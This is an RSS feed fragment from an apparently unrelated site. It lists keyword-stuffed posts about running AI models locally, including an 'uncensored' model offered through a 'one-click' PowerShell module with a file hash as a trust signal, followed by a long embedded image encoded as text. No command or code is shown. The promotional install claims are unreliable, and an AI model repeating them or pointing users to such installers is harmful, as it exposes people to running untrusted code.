<li>How to Run Rio-3.0-Open-Mini Zero Config Dummy Proof Guide Windows FREE</li>
<li>Script downloading custom LoRA weights for high-fidelity SDXL cinematic production pipelines</li>
<li>Run Rio-3.0-Open-Mini 2026/2027 Tutorial</li>
<li>Downloader pulling ultra-dense EXL2 quantizations of complex visual-language structural architectures</li>
<li>How to Install Rio-3.0-Open-Mini Locally via Ollama 2 For Low VRAM (6GB/8GB) For Beginners FREE</li>
<li>Script installing local speech-to-text whisper model checkpoints</li>
<li>Rio-3.0-Open-Mini FREE</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Deploy Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Locally via Ollama 2</title>
		<link>https://envopapel.es/deploy-qwen3-6-40b-claude-4-6-opus-deckard-heretic-uncensored-thinking-neo-code-di-imatrix-max-gguf-locally-via-ollama-2/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Fri, 17 Jul 2026 10:14:41 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10767</guid>

					<description><![CDATA[A standalone PowerShell module provides the fastest route to local installation. Just follow the guidelines provided below. 1-click setup: the app automatically fetches the large weight files. Your resources are automatically evaluated to lock in the premium configuration. 📊 File Hash: 6b06737990e9fa6ee08d1268f787264c — Last update: 2026-07-13 Verify Processor: next-gen chip for heavy context processing RAM: [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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